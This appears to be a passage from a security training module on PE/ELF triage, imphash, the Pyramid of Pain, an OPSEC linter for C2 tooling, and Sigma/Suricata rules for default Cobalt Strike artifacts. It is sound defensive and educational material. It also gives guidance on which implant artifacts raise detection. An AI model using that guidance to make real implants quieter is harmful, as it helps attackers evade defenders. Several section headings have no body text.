• Operator's username: C:\Users\Alice\Documents\repos\my-implant\x64\Release\my-implant.pdb
• Build system path: C:\Jenkins\workspace\payload-build\Release\payload.pdb
• The project name in the path itself

Detection: string-extracting strings or FLOSS on a PE sample; or dumpbin /headers / pefile Python library parsing entry.DIRECTORY_ENTRY_DEBUG. A PDB path present in a tool binary is a default-on IOC that blue teams look for in DFIR.

2.4 The Export Directory Table

DataDirectory[0] points to an IMAGE_EXPORT_DIRECTORY. Populated for DLLs and sometimes EXEs (rare). Contains:

• DLL name — the canonical name (may differ from the on-disk filename; this mismatch is an IOC).
• AddressOfFunctions — array of RVAs to exported code/data.
• AddressOfNames — array of RVAs to function-name strings.
• AddressOfNameOrdinals — ordinal table mapping names to function index.

A reflective DLL — one that loads itself into memory without a file — exports a well-known entry point name (e.g. ReflectiveDllInjection, ReflectiveLoader). That export name is visible in the in-memory PE scan done by EDR / memory forensics (pe-sieve, Volatility's malfind).

Chapter 3 — The ELF Format, Field by Field

3.1 Overview

ELF (Executable and Linkable Format) is the binary format for Linux/Unix executables, shared libraries, and object files. The structure:

Offset  Size  Field
──────────────────────────────────────────────────────────────
0x00    4    e_ident magic: \x7fELF
0x04    1    EI_CLASS: 1=32-bit, 2=64-bit
0x05    1    EI_DATA: 1=LE, 2=BE
0x10    2    e_type: ET_EXEC=2, ET_DYN=3, ET_REL=1
0x12    2    e_machine: EM_X86_64=0x3E, EM_AARCH64=0xB7
0x18    8    e_entry: virtual entry point
0x20    8    e_phoff: offset to program headers (segments)
0x28    8    e_shoff: offset to section headers
0x38    2    e_phnum: number of program headers
0x3A    2    e_shnum: number of section headers

e_type matters for triage:

• ET_EXEC — position-dependent executable (fixed load address).
• ET_DYN — position-independent; can be a PIE executable or a shared library (.so). A ET_DYN file with e_entry != 0 is typically a PIE binary (harder to exploit statically), or a shared library with an entry point (unusual, worth noting in triage).

3.2 Program headers (segments) vs. section headers

Program headers describe segments — the runtime view used by the kernel/dynamic linker:

Section headers describe sections — the linker/debugger view (stripped in production binaries but still present and parseable if the file has not been stripped):

3.3 Dynamic linking (the ELF equivalent of the PE import table)

The .dynamic section contains a list of tags that tell the dynamic linker (ld.so) what to do. Key tags:

• DT_NEEDED — each one names a required shared library (equivalent to PE's per-DLL IDT entry).
• DT_SYMTAB → .dynsym — the dynamic symbol table (function/data names imported from libraries).
• DT_JMPREL → .rela.plt — relocation entries for PLT slots.

The PLT/GOT (Procedure Linkage Table / Global Offset Table) is the ELF equivalent of the PE IAT:

• First call to a dynamic function goes through the PLT stub → the dynamic linker resolves it → writes the real address into the GOT entry.
• Subsequent calls go through PLT → GOT → directly to the function.

GOT overwrite is a classical Linux exploitation technique (overwrite a GOT entry to hijack a function call), equivalent to IAT hooking on Windows.

Chapter 4 — imphash and the Import Table as a Detection Surface

4.1 What imphash is

imphash is the MD5 hash of the normalized PE import table, computed as:

1. For each DLL in the IDT (in IDT order): For each function (in IDT order within that DLL): Append <dll_lowercase_no_extension>.<function_lowercase> to a list.
2. Join the list with commas into a single string.
3. MD5(string).

This was defined in Mandiant's 2014 blog post "Tracking Malware with Import Hashing" (Carhart). The motivation: two binaries compiled from the same source with the same linker settings import the same functions in the same order, producing the same imphash — even if the content differs. It groups tool families by their import signature.

Python (stdlib only):

import hashlib

def imphash(imports):
    """
    imports: list of (dll_name, func_name) in IDT order
    Returns MD5 hex of the normalized comma-joined import list.
    """
    parts = []
    for dll, func in imports:
        dll_norm = dll.lower()
        if dll_norm.endswith('.dll'):
            dll_norm = dll_norm[:-4]
        parts.append(f"{dll_norm}.{func.lower()}")
    raw = ','.join(parts)
    return hashlib.md5(raw.encode()).hexdigest()

4.2 Pyramid of Pain placement

imphash sits at the Hash layer of Bianco's Pyramid of Pain — one step above raw file hash. The adversary cost to change it: add one dummy import, recompile, done. It is useful for:

• Grouping samples into families (all Cobalt Strike beacons compiled from the same config have the same imphash in a given version).
• Rapid triage in DFIR: "this binary's imphash matches the known Cobalt Strike PE family."
• Historical attribution: tracking when a threat actor changed their build environment.

It is not useful as a durable detection because the recompile or dummy-import evasion is trivial. The durable detection is at the TTP layer: the API call sequence the tool uses (regardless of which DLL imported which function first), observable via ETW-TI at the kernel boundary.

Chapter 5 — IOC Taxonomy: Host, Network, and Behavioral

5.1 Host-based IOCs

5.2 Network-based IOCs

5.3 Behavioral IOCs

Chapter 6 — The Pyramid of Pain Applied to Tooling

David Bianco's Pyramid of Pain ranks indicators by the cost to the adversary of changing them:

                    ╔══════════════════════════════╗
                    ║      TTPs (Techniques)        ║  hardest — must redesign the attack
                    ╠══════════════════════════════╣
                    ║         Tools                 ║  rebuild the tool; weeks
                    ╠══════════════════════════════╣
                    ║       Network / host          ║
                    ║       artifacts               ║  hours–days (reconfig)
                    ╠══════════════════════════════╣
                    ║      Domain names             ║  register a new one; easy
                    ╠══════════════════════════════╣
                    ║     IP addresses              ║  change infrastructure
                    ╠══════════════════════════════╣
                    ║ Hash values (file, imphash)   ║  trivial — recompile
                    ╚══════════════════════════════╝

Applied to tooling triage:

• A detection on a file hash is bypassed by recompiling. Flag this detection as brittle.
• A detection on imphash is bypassed by adding one dummy import. Marginally less brittle.
• A detection on a PDB path string is bypassed by stripping the binary or changing the path. Cheap.
• A detection on a named-pipe name is bypassed by changing the pipe configuration. Moderate cost.
• A detection on the API call sequence (alloc → write → protect → create-thread) observed via ETW-TI is not bypassed by any of the above. The adversary must redesign the injection primitive. This is where you want to build.

In an interview: when asked "what detection would you build for this tool?", the correct answer starts with the TTP-level behavioral detection, names the sensor (ETW-TI, kernel callback, Sysmon EID 10), and explains why it survives a recompile. Then you also note the lower-tier IOCs (imphash, named pipe) that are fast to check but brittle.

Chapter 7 — OPSEC Hygiene: What a Tool Leaves Behind and Why

7.1 Default artifacts — what ships out of the box

Every tool compiles and runs with defaults. Default artifacts are those that are:

1. Well-documented by the security community (known-bad imphash families, Cobalt Strike default pipes).
2. Matched by public detection rules (Sigma rules, Suricata rules, YARA).
3. Triggerable by a single IOC — the analyst does not need to correlate multiple signals.

7.2 The OPSEC linter checklist

An OPSEC linter compares a tool's metadata against this checklist and assigns a noise score. Each item has a weight (impact) and a detection description:

[HIGH impact] default_named_pipe  — default C2 pipe name matches known-bad pattern
[HIGH impact] known_imphash       — imphash matches a known beacon family in the classification DB
[HIGH impact] default_user_agent  — user-agent string matches a known-default pattern
[MEDIUM impact] pdb_path_present   — PDB path not stripped from debug directory
[MEDIUM impact] compile_timestamp_present — TimeDateStamp not zeroed
[MEDIUM impact] default_sleep_nojitter — sleep interval is default; jitter not configured
[LOW impact]  default_beacon_uri  — beacon check-in URI matches a well-known pattern

The output is a ranked list of findings (highest impact first), each with its detection description: "default Cobalt Strike pipe \.\pipe\MSSE-* — detected by Sysmon EID 17/18 with a Sigma rule matching the pipe-name pattern."

7.3 What mitigations reduce the signal

Each artifact has a mitigation (not a bypass — a reduction):

None of these mitigations is evasion — they reduce specific low-tier IOC surface while leaving behavioral (TTP-level) detection intact. A JA3 fingerprint changes when the TLS cipher-suite order changes; the behavior of the beacon (periodic outbound connection from an unusual process) does not.

Chapter 8 — Detection Engineering for Tooling

Sysmon rules for tooling indicators

Named pipe creation (Cobalt Strike default pattern):

title: Default C2 Named Pipe Creation
logsource: {product: windows, category: pipe_created}
detection:
  selection:
    PipeName|contains: 'MSSE-'
  condition: selection
tags: [attack.command_and_control, attack.t1071]

DLL loaded from user-writable directory (reflective/sideload):

title: DLL Loaded from User-Writable Path
logsource: {product: windows, category: image_load}
detection:
  selection:
    ImageLoaded|startswith:
      - 'C:\Users\'
      - 'C:\ProgramData\'
      - 'C:\Temp\'
    Signed: 'false'
  condition: selection
tags: [attack.defense_evasion, attack.t1574.001]

Process with unexpected outbound network connection:

title: Unexpected Outbound Connection from Scripting Host
logsource: {product: windows, category: network_connection}
detection:
  selection:
    Image|endswith:
      - '\cmd.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\mshta.exe'
    Initiated: 'true'
  condition: selection
tags: [attack.command_and_control, attack.t1071.001]

Suricata rule for default C2 user-agent

alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"Default Cobalt Strike User-Agent";
  flow:established,to_server;
  http.user_agent; content:"MSIE 9.0";
  content:"Trident/5.0";
  sid:9000001; rev:1;
)

Chapter 9 — Tooling Languages and Their Binary Characteristics

The JD explicitly names: Python, C#/.NET, C/C++, Rust, Nim, Go, PowerShell.

Nim deserves special attention because it is explicitly named in the JD. Nim compiles to native code via GCC/CLANG cross-compilation. On Windows, a Nim binary built with nim c --cpu:amd64 --os: windows produces a PE that:

• Has very few imports (often just kernel32.dll + ntdll.dll + ws2_32.dll).
• Lacks MSVC runtime artifacts (msvcrt.dll is not imported).
• Contains NimMain in its export table if it is a DLL.
• Is not flagged by name-based AV signatures that look for "known tool strings."

The low-import-count PE is quiet from an imphash perspective but is detectable at the behavioral level by the same API sequence any injection tool produces.

Chapter 10 — Misconceptions

"Static analysis catches everything." Static analysis catches structural IOCs: imphash, PDB path, strings, exported function names. Packed or obfuscated binaries hide all of these. The PE header fields (subsystem, size of optional header) are still readable, but the import table may be empty or fake. Static analysis is the first pass; behavioral (dynamic) analysis is the complement.

"Stripping a binary makes it clean." Stripping removes the section header names and debug symbols. It does not remove the import table (IDT), the export table, or the PE header fields. imphash, named-pipe defaults, and behavioral indicators survive stripping.

"imphash is the primary detection for a tool." It is one of the weakest detections. It changes with a recompile. For engagement-grade tooling triage, focus on the behavioral IOCs (API call sequence, parent-child tree, ETW-TI events) that survive any recompilation.

"A quiet imphash means the tool is safe to use." A Nim-built PE with almost no imports has a very distinctive imphash because it is so empty — a PE that only imports kernel32.dll + ntdll.dll from a process that should have a richer import table is suspicious. Quiet is not invisible.

"OPSEC hygiene is just about renaming the binary." Renaming a binary changes the file hash and on-disk name. It does not change the imphash, the PDB path, the named-pipe name, the user-agent, the JA3 fingerprint, or the behavioral API sequence. Each of those requires a separate targeted mitigation.

"A known-bad imphash match is a confirmed malicious binary." imphash family clustering groups binaries by their build configuration. Multiple legitimate programs share import table patterns. A match narrows the scope for investigation; it is not a conviction. Correlate with other IOCs.

Lab Walkthrough

Lab 01 — PE/ELF Format Analyzer

What it does. Ingests a synthetic binary metadata dict (mimicking what pefile / pyelftools would return) and:

• Extracts the file type, architecture, subsystem, compilation timestamp.
• Parses the import list and computes the imphash.
• Extracts the PDB path (if present) from the debug directory.
• Lists exports.
• Returns a structured analysis with OPSEC indicator flags.

Key data structure:

pe_metadata = {
    "magic": "MZ",
    "machine": "x86-64",
    "timestamp": 1710000000,  # Unix epoch of compilation
    "subsystem": 3,           # CUI
    "imports": [
        ("kernel32.dll", "CreateProcessW"),
        ("kernel32.dll", "VirtualAllocEx"),
        ("ntdll.dll", "NtWriteVirtualMemory"),
        ("ws2_32.dll", "WSAStartup"),
    ],
    "exports": [],
    "pdb_path": "C:\\Users\\operator\\implant\\x64\\Release\\implant.pdb",
    "sections": [".text", ".data", ".rdata", ".reloc"],
}

Solution logic:

1. extract_file_type(meta) — "PE32+" (magic "MZ" + machine "x86-64").
2. compute_imphash(imports) — normalize each (dll, func) to dll_no_ext.func_lower, join, MD5.
3. extract_pdb_path(meta) — return meta.get("pdb_path").
4. opsec_flags(meta) — check: PDB path present (pdb_path not None/empty), timestamp not zeroed, export table named ReflectiveDll, known-bad imphash in a small catalog.
5. analyze(meta) — returns {file_type, imphash, exports, pdb_path, opsec_flags}.

Running:

cd phase-02-offensive-tooling-development/lab-01-pe-format-analyzer
LAB_MODULE=solution python3 -m pytest -q   # 14 tests

Lab 02 — Tooling IOC / OPSEC Linter

What it does. Ingests a tooling inventory — a list of tool dicts, each with configuration metadata — and runs each tool against the OPSEC checklist. Returns a ranked list of OPSEC findings with detection descriptions and a per-tool noise score.

Key data structure:

tool_inventory = [
    {
        "name": "beacon-alpha",
        "type": "c2_agent",
        "named_pipe": "MSSE-1234-server",       # default Cobalt Strike pattern
        "user_agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0;)",
        "beacon_uri": "/api/",
        "sleep_seconds": 60,
        "jitter_percent": 0,
        "imphash": "a8c7b3d2e1f0a9b8c7d6e5f4a3b2c1d0",  # not in known-bad catalog
        "pdb_path_stripped": False,
        "pdb_path": "C:\\build\\payload.pdb",
    }
]

Solution logic:

1. check_named_pipe(tool) — compare named_pipe against known-bad patterns (MSSE-, postex_, dce_4, status_, msagent_). Return HIGH finding with Sysmon EID 17 detection description if matched.
2. check_user_agent(tool) — compare against known-default agent strings. HIGH finding.
3. check_imphash(tool, known_bad_db) — lookup in known-bad imphash catalog. HIGH finding.
4. check_pdb(tool) — if pdb_path_stripped == False and pdb_path non-empty. MEDIUM finding.
5. check_sleep_jitter(tool) — if jitter_percent == 0 and sleep_seconds is a common default (60, 3600). MEDIUM finding.
6. check_beacon_uri(tool) — known-default patterns (/api/, /submit.php, /g.pixel). LOW.
7. lint(tool_inventory, known_bad_db) — runs all checks; weights: HIGH=3, MEDIUM=2, LOW=1; sorts findings by weight desc; returns {tool_name, noise_score, findings: [...]}.
8. highest_risk_tool(linted_results) — tool with highest noise_score.

Running:

cd phase-02-offensive-tooling-development/lab-02-tooling-ioc-opsec-linter
LAB_MODULE=solution python3 -m pytest -q   # 15 tests

Success Criteria

After completing this phase, without notes you can:

• Draw the PE layout from offset 0: DOS header (e_lfanew) → NT headers (signature + file header + optional header) → section table → sections.
• Name the fields in IMAGE_FILE_HEADER and what each means for triage.
• Compute imphash from a list of (dll, function) tuples (normalize, join, MD5).
• Explain the Pyramid of Pain and place imphash, named-pipe name, API sequence, and TTP each at the correct tier.
• Explain the difference between ET_EXEC and ET_DYN in an ELF and what it implies.
• Name three host-based, three network-based, and two behavioral IOCs for a typical C2 agent.
• Name three default OPSEC indicators that ship with common C2 frameworks and their detections.
• Write a Sysmon Sigma rule for a named-pipe creation IOC.
• Pass both labs (14 + 15 tests green with LAB_MODULE=solution).

Common Mistakes and OPSEC

Reporting imphash without noting it is bottom-of-pyramid. A report that says "we identified this tool by its imphash" without also providing the behavioral detection leaves the client with a detection that fails on the first recompile.

Treating PDB-path presence as the most important finding. PDB paths are easy to find and easy to strip. Prioritize named-pipe and user-agent defaults — they require profile reconfiguration to fix, not just a linker flag.

Missing the ELF .dynamic section for Linux tooling. PE analysis is better-tooled, so analysts often stop at ldd for ELF libraries. The .dynamic section is the DT_NEEDED list — equivalent to the PE IDT — and provides the same family-classification value.

Confusing Nim and Go by binary size. Nim-compiled binaries targeting Windows are often small (GCC static libc); Go binaries are characteristically large (statically linked Go runtime). Both have minimal imports on Windows; size and symbol table contents distinguish them.

Equating a clean OPSEC linter score with a safe tool. The linter checks known default indicators. A tool that is not in any known-bad catalog and has no default named pipes can still be detected via behavioral IOCs (ETW-TI, kernel callbacks) — those are not within the linter's scope. Document this limitation.

Interview Q&A

Q1: Walk me through the PE format from the DOS header to the import table. What fields matter most for triage?

Answer:

A PE file begins at offset 0 with the IMAGE_DOS_HEADER, which opens with the two-byte MZ magic (0x4D5A). The field at offset 0x3C is e_lfanew, a 4-byte offset pointing to the IMAGE_NT_HEADERS structure. Between the DOS header and that offset is the DOS stub (the "This program cannot be run in DOS mode" message that most PE tools skip).

At e_lfanew is the NT headers, structured as: a 4-byte PE signature ("PE\0\0"), then the 20-byte IMAGE_FILE_HEADER:

• Machine (2 bytes): 0x8664 = AMD64, 0x14C = i386. This tells you the target architecture.
• NumberOfSections: how many section table entries follow the optional header.
• TimeDateStamp (4 bytes): Unix epoch of when the linker produced the binary. A default-on IOC unless zeroed.

Then the IMAGE_OPTIONAL_HEADER (variable size based on PE32 vs PE32+):

• Magic: 0x20B = PE32+ (64-bit), 0x10B = PE32 (32-bit).
• AddressOfEntryPoint: RVA of the first instruction. Unusual value (e.g., points into .data) is a red flag.
• Subsystem: 2 = Windows GUI, 3 = console, 14 = EFI. A console tool with subsystem 2 is suspicious.
• DataDirectory[1] — the Import Directory: RVA and size of the IDT.
• DataDirectory[6] — the Debug Directory: where the PDB path lives.

At e_lfanew + 4 + 20 + SizeOfOptionalHeader is the section table — an array of IMAGE_SECTION_HEADER structures. Each has the section name (.text, .data, etc.), virtual address, virtual size, and file offset.

For triage, the highest-signal fields are: Machine (tells you platform), TimeDateStamp (timestamps the build), Subsystem (GUI vs console anomaly), DataDirectory[1] (import table → imphash → family classification), and DataDirectory[6] (PDB path → operator identity). The section table gives the code/data layout and flags like missing .reloc (unusual for DLLs) or an unusually large .rsrc (possible resource-hiding).

Q2: What is imphash, how is it computed, and where does it sit on the Pyramid of Pain? When is it useful and when is it not?

Answer:

imphash (import hash) is the MD5 of the PE's normalized import list. The normalization: for each (DLL, function) pair in Import Directory Table order, lowercase the DLL name, strip the .dll extension, lowercase the function name, concatenate as dll.function. Join all pairs with commas, MD5 the result.

It was introduced by Mandiant in 2014 to group malware families: binaries compiled from the same source with the same linker and library versions produce identical import tables (same function order, same DLL names), so they produce the same imphash. The imphash groups them into a family fingerprint without requiring identical file content.

On the Pyramid of Pain, imphash sits at the hash layer — one step above raw file hash. The adversary cost to change it: add one dummy import function to the source code, recompile. Five minutes. It is therefore not a durable detection — it is a classification and triage tool.

It is useful when: you have a sample with an unknown imphash and you want to cluster it against your database of known-bad families ("this PE's imphash matches the Cobalt Strike 4.x beacon family"); or in DFIR when you want to establish that two binaries from different intrusions share the same build configuration.

It is not useful as a production detection rule in a SIEM: the rule would be bypassed within one recompile cycle. The durable detection for the same tool is at the TTP layer: the API call sequence (VirtualAllocEx → WriteProcessMemory → CreateRemoteThread) observed via ETW-TI, which survives any recompile.

Q3: Explain the difference between the Import Directory Table and the Import Address Table in a PE. Why does the IAT matter for detecting process injection?

Answer:

Both the IDT and IAT are data structures in the PE's import machinery, but they serve different purposes at different times.

The Import Directory Table (IDT) is the static, compile-time structure: an array of IMAGE_IMPORT_DESCRIPTOR entries, one per imported DLL. Each entry contains:

• The DLL name (RVA to ASCII string).
• An INT (Import Name Table) pointer: RVA to an array of IMAGE_THUNK_DATA, each pointing to a function name or ordinal.
• An IAT pointer: same structure, but this is what the loader overwrites at load time.

The Import Address Table (IAT) starts as a copy of the INT on disk. At load time, the Windows loader resolves each import: it finds the DLL in memory, locates the exported function, and writes the actual virtual address into the IAT slot. After load, the IAT entries are live function pointers that the compiled code calls through (CALL QWORD PTR [rip + offset_to_IAT_slot]).

Why the IAT matters for injection detection:

Classic IAT hooking (and classic injection) involves writing a new address into an IAT slot — redirecting a function call to attacker code. EDR user-mode hooks do the inverse: they overwrite IAT-adjacent entries (or the function's preamble) to intercept calls. The IAT is the live jump table in a running process's address space.

More relevantly for modern injection detection: ETW-TI monitors NtWriteVirtualMemory calls targeting another process's address space. If code writes to the remote process's IAT region, that write is observable — it appears as an ALLOCATE/WRITE/PROTECT sequence on the remote process memory region that overlaps the IAT's virtual address range. This is a specific behavioral IOC: cross-process write to an address within the target PE's mapped image = likely hook or injection.

Q4: What OPSEC indicators does a compiled tool leave by default? Name three and their detection.

Answer:

1. PDB path in the debug directory. When compiled with debug information enabled (the default in MSVC and many build systems), the PE contains a DEBUG data directory entry of type IMAGE_DEBUG_TYPE_CODEVIEW that includes the absolute path to the .pdb file on the build system. This path typically contains the developer's username, the project directory, and the binary name.

Detection: strings or FLOSS on the binary; pefile Python library's DIRECTORY_ENTRY_DEBUG parse; many AV/EDR products extract this path during file scanning. Any binary submitted to VirusTotal has its PDB path indexed.

2. Default named pipe name for C2 agents. C2 frameworks ship with default internal IPC pipe names that are documented by the security community: Cobalt Strike defaults include the pattern \pipe\MSSE-<4hex>-server and \pipe\postex_ssh_<4hex>.

Detection: Sysmon EID 17 (PipeEvent: Pipe Created) logs the pipe name when a named pipe is created. A Sigma rule matching PipeName|contains: "MSSE-" or "postex_" fires on the pipe creation, before any connection uses it.

3. Compilation timestamp (TimeDateStamp) not zeroed. The IMAGE_FILE_HEADER.TimeDateStamp is set to the Unix epoch at link time. It is not zeroed by default. In a DFIR timeline, this field timestamps the build event and, if genuine, tells you when the binary was compiled relative to when the attack began (a freshly compiled binary minutes before the attack is a high-confidence custom build; a years-old timestamp suggests a re-used tool).

Detection: extracted during any PE triage (dumpbin /headers, pefile); DFIR platforms record it in their file metadata. It is not alertable in real time but is a critical timeline artifact.

Q5: How does the ELF .dynamic section compare to the PE import table for tooling classification?

Answer:

They serve the same purpose — specifying runtime library dependencies — but the ELF mechanism is more general and the classification differs in detail.

In a PE, the IDT is a flat array of (DLL, function list) pairs. The Windows loader walks the IDT at process creation, finds each DLL, and resolves each function by name or ordinal. The IDT is required for any binary that uses external functions.

In an ELF, the .dynamic section is a list of tagged entries. The relevant ones:

• DT_NEEDED entries: one per required shared library, each naming the library (e.g. libc.so.6, libpthread.so.0). These are the equivalent of the PE's DLL name list.
• DT_SYMTAB → .dynsym: the dynamic symbol table, listing function names with their version requirements. This is equivalent to the per-DLL function import list.
• DT_JMPREL → .rela.plt: relocation entries for PLT stubs — the lookup table that gets filled in at first call (equivalent to IAT at runtime).

For classification, the ELF dynamic symbol table (.dynsym) is the richest source: it lists the exact library function names the binary uses. A Linux implant that imports mmap, mprotect, memfd_create, and dlopen but nothing from higher-level libraries (no printf, no network stack functions) is exhibiting a shellcode-loader-like import profile. A Nim-compiled binary on Linux will have a characteristic set of libgcc and runtime symbols mixed with minimal libc use.

The limitation: a statically linked binary (common in Go, sometimes Rust, sometimes custom loaders) has no .dynamic section and no .dynsym — all code is inlined. Classification falls back to symbol table strings (if not stripped) or strings / FLOSS output.

Q6: You find a binary with no import table entries. What are the likely explanations, and how do you triage further?

Answer:

A PE with an empty or absent IDT (DataDirectory[1] size = 0) is unusual and indicates one of several scenarios, ranging from benign to high-fidelity IOC:

1. Statically linked. The binary was compiled with all dependencies inlined (e.g., a Rust or Go binary targeting Windows compiled with the default static runtime). It does not need imports because all code is in the binary itself. These are large in file size. Triage: check the binary size; look for Go runtime strings (runtime.main, runtime.Goroutine) or Rust panic symbols (rust_begin_unwind).

2. Manually mapped / packed / encrypted. The original import table has been removed and the binary resolves imports at runtime via a custom loader (calls GetProcAddress / LoadLibraryA manually). This is a common packing technique. Triage: look for GetProcAddress and LoadLibraryA (or their hashed equivalents) in the strings; look for unusually large entropy sections (packed/ encrypted); the entry point may be in a .data or unnamed section (non-standard). Use DIE (Detect-It-Easy) or PEid to identify common packers.

3. Reflective loader. A reflective DLL is a DLL that has been modified so its ReflectiveLoader export can load it from memory. The in-memory version often has a minimal or reconstructed import table; only the loader stubs for GetProcAddress / LoadLibraryA appear. Triage: check the export table for ReflectiveDll, ReflectiveLoader, or a single numeric export ordinal. Scan the raw bytes for the MZ/PE header sequence at non-zero offsets within the file (shellcode blob with embedded PE).

Triage further:

• Run strings/FLOSS to extract readable strings.
• Check entropy per section; > 7.5 suggests encryption or compression.
• Examine the entry point's bytecode with a disassembler (Ghidra, Binary Ninja) — look for a GetProcAddress-resolution loop pattern.
• If you find an embedded PE (search bytes for 4D5A / 5045 patterns), extract and analyze it.

Q7: A tool has a known-bad imphash. The attacker recompiles it with one dummy import. Does your detection survive? What would you build instead?

Answer:

No, the imphash-based detection does not survive the recompile. Adding one import function changes the ordered import list; the MD5 changes; the imphash does not match the known-bad hash. The detection fails on the first rebuild.

This is the Pyramid of Pain lesson applied directly: imphash sits at the hash layer. The adversary cost is a code change of one line and a recompile. Your detection was worth zero minutes of friction.

What to build instead — three layers, each more durable:

Layer 1: Named artifact detection (host). If the tool creates a specific named pipe, mutex, or temporary file path, detect on that name. Pipe names require profile reconfiguration to change; mutexes require source code changes. Sysmon EID 17 for pipe creation, keyed on the name pattern (not the imphash), survives recompilation.

Layer 2: Behavioral / API call sequence (host). The tool implements a technique. The technique requires a specific API call sequence. For a remote process injector: VirtualAllocEx in process A targeting process B's PID, followed by WriteProcessMemory, followed by NtCreateRemoteThread. This sequence is observable via ETW-TI at the kernel boundary, regardless of which DLL imported which function or what the imphash is. Build this detection in your EDR's ETW-TI consumer or via Sysmon EID 8 (CreateRemoteThread) + EID 10 (ProcessAccess with PROCESS_VM_WRITE mask).

Layer 3: Network behavioral detection. The tool communicates with C2. JA3/JA4 fingerprints the TLS ClientHello; changing the cipher-suite list requires a code or config change, not just a recompile. The beacon timing pattern (periodic egress from an unusual process) requires architectural change. Build these detections at the network layer: JA3 match + beacon-interval analysis in Zeek or a SIEM rule on periodic NetFlow.

Q8: Walk me through how you would produce the tooling triage artifact for a real engagement.

Answer:

On a real engagement (authorized lab only), the tooling triage artifact is produced in four steps.

Step 1 — Inventory. List every tool in the engagement toolkit. For each tool, record: binary name and path, language/runtime, version, MD5/SHA256 of the binary, and the C2 configuration in use (profile name, named pipes, user-agent, beacon interval, jitter).

Step 2 — Static analysis. For each binary, run:

• pefile (Python) or dumpbin /headers on Windows binaries: extract Machine, TimeDateStamp, Subsystem, import list, export list, PDB path. Compute imphash.
• file + objdump -p / readelf -d on Linux binaries: extract e_type, e_machine, DT_NEEDED list, .dynsym symbols.
• strings/FLOSS: extract readable strings for hardcoded paths, URIs, version strings.
• Check each imphash against the classification database.

Feed the resulting dict into the PE/ELF format analyzer (Lab 01). The analyzer output is the per-binary triage report.

Step 3 — OPSEC linter. Feed the tool's configuration metadata (named pipes, user-agent, URI, jitter, imphash, PDB-stripped flag) into the OPSEC linter (Lab 02). The linter output is a ranked OPSEC findings list for each tool.

Step 4 — Detection map and deliverable. For each tool, produce the detection-layer map:

Hand the client the detection map as an appendix to the engagement report. They implement the highest-durability detections they are missing. The hash-level detections are noted as supplementary.

References

Binary format:

• Microsoft PE/COFF specification — learn.microsoft.com/windows/win32/debug/pe-format
• ELF-64 Object File Format — Tool Interface Standard, refspecs.linuxbase.org/elf/elf.pdf
• pefile Python library — Ero Carrera — GitHub
• pyelftools Python library — Eli Bendersky — GitHub

Detection and classification:

• Mandiant: "Tracking Malware with Import Hashing" — Carhart (2014) — original imphash definition
• David Bianco — "The Pyramid of Pain" (blog.opensecurityresearch.com)
• mandiant/capa — capability extraction and ATT&CK mapping from static PE analysis (GitHub)
• FLOSS (FireEye Labs Obfuscated String Solver) — extracts obfuscated strings from binaries

Detection rules:

• SigmaHQ/sigma — Sysmon rules for named-pipe creation, image-load from unusual paths, network connection from scripting hosts
• Elastic Detection Rules — rules for PE anomalies and tooling behavioral IOCs

Tooling languages:

• Nim language documentation (nim-lang.org) — cross-compilation, Windows targets
• Go toolchain documentation (go.dev) — static linking, runtime characteristics
• Rust on Windows — rustup target x86_64-pc-windows-gnu / msvc — import table differences

OPSEC and C2 profiles:

• Cobalt Strike malleable C2 profile documentation (Raphael Mudge / Fortra)
• threatexpress/malleable-c2-profiles — community C2 profiles and their OPSEC notes (GitHub)

Hitchhiker's Guide — Triage a Binary, Score Its OPSEC, Write the Detection

The analyst/range walkthrough for Phase 02. On an owned range (or on allowed system binaries), you use objdump, readelf, and dumpbin to observe real PE/ELF structure; translate that into the lab's synthetic dict format; feed it through the format analyzer and OPSEC linter; then write a Sysmon Sigma rule for the highest-noise finding.

Safety (non-negotiable). You analyze allowed binaries — legitimate system binaries (notepad.exe, /bin/ls, /usr/bin/python3) or tools you built yourself on an isolated range. There is no malware, no live C2 agent, no weaponized payload involved. The PE/ELF structure of a legitimate system binary demonstrates all the same format concepts that a tool binary would; the lab works on dicts regardless. Never analyze unknown or untrusted binaries on a host connected to production networks.

Table of Contents

• 0. Authorize and scope
• 1. Read a PE header with dumpbin / pefile
• 2. Read an ELF header with objdump / readelf
• 3. Translate the output into the lab dict format
• 4. Run the format analyzer (Lab 01)
• 5. Run the OPSEC linter (Lab 02)
• 6. Write the Sigma rule for the highest-noise finding
• 7. The evidence packet
• 8. Teardown
• Common false claims

0. Authorize and scope

Before touching any binary:

• Owner: you own the range or are analyzing a system binary (notepad.exe, /bin/ls) in a read-only, non-production context.
• Scope: static analysis only — no execution, no dynamic analysis, no network connection.
• Tools allowed: dumpbin, objdump, readelf, file, strings, pefile Python library.
• Data: the binary metadata you extract stays on your range machine. No uploads to public sandboxes without explicit engagement authorization.
• Stop condition: if the binary is unknown origin or triggers AV detection → do not analyze on a production machine; use an isolated sandbox VM.

1. Read a PE header with dumpbin / pefile

On a Windows range VM, analyze a system binary as a format exercise:

# On Windows (Visual Studio Build Tools or MSVC installed):
dumpbin /headers C:\Windows\System32\notepad.exe

Key fields to locate in the output:

FILE HEADER VALUES
    8664 machine (x64)
    ...  time date stamp       <- Unix timestamp
    ...  characteristics

OPTIONAL HEADER VALUES
    20B  magic # (PE32+)
    ...  linker version
    ...  entry point
    ...  subsystem (2 = GUI)
    ...
DATA DIRECTORIES
    ...  [0] export directory     RVA    size
    ...  [1] import directory     RVA    size
    ...  [6] debug directory      RVA    size

IMPORTS
  KERNEL32.dll
    ...  WriteFile
    ...  ReadFile
  ...

With Python pefile (install in isolated range venv):

import pefile, hashlib

pe = pefile.PE("C:/Windows/System32/notepad.exe")

# Machine, timestamp, subsystem:
print("Machine:", hex(pe.FILE_HEADER.Machine))
print("TimeDateStamp:", pe.FILE_HEADER.TimeDateStamp)
print("Subsystem:", pe.OPTIONAL_HEADER.Subsystem)

# Imports:
for entry in pe.DIRECTORY_ENTRY_IMPORT:
    dll = entry.dll.decode()
    for imp in entry.imports:
        name = imp.name.decode() if imp.name else f"ord_{imp.ordinal}"
        print(f"  {dll} -> {name}")

# PDB path:
if hasattr(pe, 'DIRECTORY_ENTRY_DEBUG'):
    for dbg in pe.DIRECTORY_ENTRY_DEBUG:
        if dbg.struct.Type == 2:   # IMAGE_DEBUG_TYPE_CODEVIEW
            pdb = dbg.entry.PdbFileName.decode(errors='replace').rstrip('\x00')
            print("PDB:", pdb)

Capture the output and use it to fill in the pe_metadata dict in §3.

